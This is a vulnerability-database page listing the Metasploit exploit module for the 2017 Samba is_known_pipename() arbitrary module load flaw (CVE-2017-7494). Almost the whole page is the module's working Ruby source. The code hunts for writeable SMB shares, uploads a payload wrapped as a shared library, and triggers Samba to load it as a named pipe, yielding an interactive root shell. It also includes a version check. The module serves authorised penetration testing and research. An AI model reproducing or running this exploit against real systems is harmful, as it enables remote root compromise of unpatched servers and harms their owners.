Lucene search
K

Samba is_known_pipename() Arbitrary Module Load

🗓️ 25 May 2017 00:42:04Reported by steelo <[email protected]>, hdm <[email protected]>, bcoles <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 1625 Views

Samba is_known_pipename() Arbitrary Module Load, triggers vulnerability in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Code Injection in Samba
2 Dec 202509:55
githubexploit
GithubExploit
Exploit for Code Injection in Samba
25 May 201713:20
githubexploit
GithubExploit
Exploit for Code Injection in Samba
15 May 202106:52
githubexploit
GithubExploit
Exploit for Code Injection in Samba
30 May 201715:08
githubexploit
GithubExploit
Exploit for Code Injection in Samba
25 May 201713:20
githubexploit
GithubExploit
Exploit for CVE-2017-0143
16 May 201719:34
githubexploit
GithubExploit
Exploit for Code Injection in Samba
9 May 202102:32
githubexploit
GithubExploit
Exploit for Code Injection in Samba
5 Jun 201716:25
githubexploit
GithubExploit
Exploit for Code Injection in Samba
26 May 201700:58
githubexploit
GithubExploit
Exploit for Code Injection in Samba
1 Nov 202223:17
githubexploit
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Samba is_known_pipename() Arbitrary Module Load',
      'Description'    => %q{
          This module triggers an arbitrary shared library load vulnerability
        in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
        requires valid credentials, a writeable folder in an accessible share,
        and knowledge of the server-side path of the writeable folder. In
        some cases, anonymous access combined with common filesystem locations
        can be used to automatically exploit this vulnerability.
      },
      'Author'         =>
        [
          'steelo <knownsteelo[at]gmail.com>',    # Vulnerability Discovery & Python Exploit
          'hdm',                                  # Metasploit Module
          'bcoles',  # Check logic
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2017-7494' ],
          [ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
        ],
      'Payload'         =>
        {
          'Space'       => 9000,
          'DisableNops' => true
        },
      'Platform'        => 'linux',
      'Targets'         =>
        [

          [ 'Automatic (Interact)',
            { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'Interact' => true,
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find'
                }
              }
            }
          ],
          [ 'Automatic (Command)',
            { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }
          ],
          [ 'Linux x86',        { 'Arch' => ARCH_X86 } ],
          [ 'Linux x86_64',     { 'Arch' => ARCH_X64 } ],
          [ 'Linux ARM (LE)',   { 'Arch' => ARCH_ARMLE } ],
          [ 'Linux ARM64',      { 'Arch' => ARCH_AARCH64 } ],
          [ 'Linux MIPS',       { 'Arch' => ARCH_MIPS } ],
          [ 'Linux MIPSLE',     { 'Arch' => ARCH_MIPSLE } ],
          [ 'Linux MIPS64',     { 'Arch' => ARCH_MIPS64 } ],
          [ 'Linux MIPS64LE',   { 'Arch' => ARCH_MIPS64LE } ],
          [ 'Linux PPC',        { 'Arch' => ARCH_PPC } ],
          [ 'Linux PPC64',      { 'Arch' => ARCH_PPC64 } ],
          [ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],
          [ 'Linux SPARC',      { 'Arch' => ARCH_SPARC } ],
          [ 'Linux SPARC64',    { 'Arch' => ARCH_SPARC64 } ],
          [ 'Linux s390x',      { 'Arch' => ARCH_ZARCH } ],
        ],
      'DefaultOptions' =>
        {
          'DCERPC::fake_bind_multi' => false,
          'SHELL'                   => '/bin/sh',
        },
      'Privileged'      => true,
      'DisclosureDate'  => '2017-03-24',
      'DefaultTarget'   => 0))

    register_options(
      [
        OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
        OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
      ])

  end

  def post_auth?
    true
  end

  # Setup our mapping of Metasploit architectures to gcc architectures
  def setup
    super
    @@payload_arch_mappings = {
        ARCH_X86      => [ 'x86' ],
        ARCH_X64      => [ 'x86_64' ],
        ARCH_MIPS     => [ 'mips' ],
        ARCH_MIPSLE   => [ 'mipsel' ],
        ARCH_MIPSBE   => [ 'mips' ],
        ARCH_MIPS64   => [ 'mips64' ],
        ARCH_MIPS64LE => [ 'mips64el' ],
        ARCH_PPC      => [ 'powerpc' ],
        ARCH_PPC64    => [ 'powerpc64' ],
        ARCH_PPC64LE  => [ 'powerpc64le' ],
        ARCH_SPARC    => [ 'sparc' ],
        ARCH_SPARC64  => [ 'sparc64' ],
        ARCH_ARMLE    => [ 'armel', 'armhf' ],
        ARCH_AARCH64  => [ 'aarch64' ],
        ARCH_ZARCH    => [ 's390x' ],
    }

    # Architectures we don't offically support but can shell anyways with interact
    @@payload_arch_bonus = %W{
      mips64el sparc64 s390x
    }

    # General platforms (OS + C library)
    @@payload_platforms = %W{
      linux-glibc
    }
  end

  # List all top-level directories within a given share
  def enumerate_directories(share)
    begin
      vprint_status('Use Rex client (SMB1 only) to enumerate directories, since it is not compatible with RubySMB client')
      connect(versions: [1])
      smb_login
      self.simple.connect("\\\\#{rhost}\\#{share}")
      stuff = self.simple.client.find_first("\\*")
      directories = [""]
      stuff.each_pair do |entry,entry_attr|
        next if %W{. ..}.include?(entry)
        next unless entry_attr['type'] == 'D'
        directories << entry
      end

      return directories

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Enum #{share}: #{e}")
      return nil

    ensure
      simple.disconnect("\\\\#{rhost}\\#{share}")
      smb_connect
    end
  end

  # Determine whether a directory in a share is writeable
  def verify_writeable_directory(share, directory="")
    begin
      simple.connect("\\\\#{rhost}\\#{share}")

      random_filename = Rex::Text.rand_text_alpha(5)+".txt"
      filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"

      wfd = simple.open(filename, 'rwct')
      wfd << Rex::Text.rand_text_alpha(8)
      wfd.close

      simple.delete(filename)
      return true

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => e
      vprint_error("Write #{share}#{filename}: #{e}")
      return false

    ensure
      simple.disconnect("\\\\#{rhost}\\#{share}")
    end
  end

  # Call NetShareGetInfo to retrieve the server-side path
  def find_share_path
    share_info = smb_netsharegetinfo(@share)
    share_info[:path].gsub("\\", "/").sub(/^.*:/, '')
  end

  # Crawl top-level directories and test for writeable
  def find_writeable_path(share)
    subdirs = enumerate_directories(share)
    return unless subdirs

    if datastore['SMB_FOLDER'].to_s.length > 0
      subdirs.unshift(datastore['SMB_FOLDER'])
    end

    subdirs.each do |subdir|
      next unless verify_writeable_directory(share, subdir)
      return subdir
    end

    nil
  end

  # Locate a writeable directory across identified shares
  def find_writeable_share_path
    @path = nil
    share_info = smb_netshareenumall
    if datastore['SMB_SHARE_NAME'].to_s.length > 0
      share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
    end

    share_info.each do |share|
      next if share.first.upcase == 'IPC$'
      found = find_writeable_path(share.first)
      next unless found
      @share = share.first
      @path  = found
      break
    end
  end

  # Locate a writeable share
  def find_writeable
    find_writeable_share_path
    unless @share && @path
      print_error("No suitable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
      fail_with(Failure::NoTarget, "No matching target")
    end
    print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
  end

  # Store the wrapped payload into the writeable share
  def upload_payload(wrapped_payload)
    begin
      self.simple.connect("\\\\#{rhost}\\#{@share}")

      random_filename = Rex::Text.rand_text_alpha(8)+".so"
      filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"

      wfd = simple.open(filename, 'rwct')
      wfd << wrapped_payload
      wfd.close

      @payload_name = random_filename

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      print_error("Write #{@share}#{filename}: #{e}")
      return false

    ensure
      simple.disconnect("\\\\#{rhost}\\#{@share}")
    end

    print_status("Uploaded payload to \\\\#{rhost}\\#{@share}#{filename}")
    return true
  end

  # Try both pipe open formats in order to load the uploaded shared library
  def trigger_payload

    target = [@share_path, @path, @payload_name].join("/").gsub(/\/+/, '/')
    [
      "\\\\PIPE\\" + target,
      target
    ].each do |tpath|

      print_status("Loading the payload from server-side path #{target} using #{tpath}...")

      smb_connect

      # Try to execute the shared library from the share
      begin
        simple.client.create_pipe(tpath)
        probe_module_path(tpath)

      rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
        # Common errors we can safely ignore

      rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
        # Look for STATUS_OBJECT_PATH_INVALID indicating our interact payload loaded
        if e.error_code == 0xc0000039
          pwn
          return true
        else
          print_error("  >> Failed to load #{e.error_name}")
        end
      rescue RubySMB::Error::UnexpectedStatusCode, RubySMB::Error::InvalidPacket => e
        if e.status_code == ::WindowsError::NTStatus::STATUS_OBJECT_PATH_INVALID
          pwn
          return true
        else
          print_error("  >> Failed to load #{e.status_code.name}")
        end
      end

      disconnect

    end

    false
  end

  def pwn
    print_good("Probe response indicates the interactive payload was loaded...")
    smb_shell = self.sock
    self.sock = nil
    remove_socket(sock)
    handler(smb_shell)
  end

  # Use fancy payload wrappers to make exploitation a joyously lazy exercise
  def cycle_possible_payloads
    template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-7494")
    template_list = []
    template_type = nil
    template_arch = nil

    # Handle the generic command types first
    if target.arch.include?(ARCH_CMD)
      template_type = target['Interact'] ? 'findsock' : 'system'

      all_architectures = @@payload_arch_mappings.values.flatten.uniq

      # Include our bonus architectures for the interact payload
      if target['Interact']
        @@payload_arch_bonus.each do |t_arch|
          all_architectures << t_arch
        end
      end

      # Prioritize the most common architectures first
      %W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch|
        template_list << all_architectures.delete(t_arch)
      end

      # Queue up the rest for later
      all_architectures.each do |t_arch|
        template_list << t_arch
      end

    # Handle the specific architecture targets next
    else
      template_type = 'shellcode'
      target.arch.each do |t_name|
        @@payload_arch_mappings[t_name].each do |t_arch|
          template_list << t_arch
        end
      end
    end

    # Remove any duplicates that mau have snuck in
    template_list.uniq!

    # Cycle through each top-level platform we know about
    @@payload_platforms.each do |t_plat|

      # Cycle through each template and yield
      template_list.each do |t_arch|


        wrapper_path = ::File.join(template_base, "samba-root-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
        next unless ::File.exist?(wrapper_path)

        data = ''
        ::File.open(wrapper_path, "rb") do |fd|
          data = Rex::Text.ungzip(fd.read)
        end

        pidx = data.index('PAYLOAD')
        if pidx
          data[pidx, payload.encoded.length] = payload.encoded
        end

        vprint_status("Using payload wrapper 'samba-root-#{template_type}-#{t_arch}'...")
        yield(data)
      end
    end
  end

  # Verify that the payload settings make sense
  def sanity_check
    if target['Interact'] && datastore['PAYLOAD'] != "cmd/unix/interact"
      print_error("Error: The interactive target is chosen (0) but PAYLOAD is not set to cmd/unix/interact")
      print_error("       Please set PAYLOAD to cmd/unix/interact and try this again")
      print_error("")
      fail_with(Failure::NoTarget, "Invalid payload chosen for the interactive target")
    end

    if ! target['Interact'] && datastore['PAYLOAD'] == "cmd/unix/interact"
      print_error("Error: A non-interactive target is chosen but PAYLOAD is set to cmd/unix/interact")
      print_error("       Please set a valid PAYLOAD and try this again")
      print_error("")
      fail_with(Failure::NoTarget, "Invalid payload chosen for the non-interactive target")
    end
  end

  # Shorthand for connect and login
  def smb_connect
    connect
    smb_login
  end

  # Start the shell train
  def exploit
    # Validate settings
    sanity_check

    # Setup SMB
    smb_connect

    # Find a writeable share
    find_writeable

    # Retrieve the server-side path of the share like a boss
    print_status("Retrieving the remote path of the share '#{@share}'")
    @share_path = find_share_path
    print_status("Share '#{@share}' has server-side path '#{@share_path}")

    # Disconnect
    disconnect

    # Create wrappers for each potential architecture
    cycle_possible_payloads do |wrapped_payload|

      # Connect, upload the shared library payload, disconnect
      smb_connect
      upload_payload(wrapped_payload)
      disconnect

      # Trigger the payload
      early = trigger_payload

      # Cleanup the payload
      begin
        smb_connect
        simple.connect("\\\\#{rhost}\\#{@share}")
        uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
        simple.delete(uploaded_path)
        disconnect
      rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
      end

      # Bail early if our interact payload loaded
      return if early
    end
  end

  # A version-based vulnerability check for Samba
  def check
    res = smb_fingerprint

    unless res['native_lm'] =~ /Samba ([\d\.]+)/
      print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")
      return CheckCode::Safe
    end

    samba_version = Rex::Version.new($1.gsub(/\.$/, ''))

    vprint_status("Samba version identified as #{samba_version.to_s}")

    if samba_version < Rex::Version.new('3.5.0')
      return CheckCode::Safe
    end

    # Patched in 4.4.14
    if samba_version < Rex::Version.new('4.5.0') &&
       samba_version >= Rex::Version.new('4.4.14')
      return CheckCode::Safe
    end

    # Patched in 4.5.10
    if samba_version > Rex::Version.new('4.5.0') &&
       samba_version < Rex::Version.new('4.6.0') &&
       samba_version >= Rex::Version.new('4.5.10')
      return CheckCode::Safe
    end

    # Patched in 4.6.4
    if samba_version >= Rex::Version.new('4.6.4')
      return CheckCode::Safe
    end

    smb_connect
    find_writeable_share_path
    disconnect

    if @share.to_s.length == 0
      print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified")
      return CheckCode::Detected
    end

    print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'")
    return CheckCode::Appears
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Mar 2023 03:30Current
CVSS 210
CVSS 3.19.8
EPSS0.99448
1625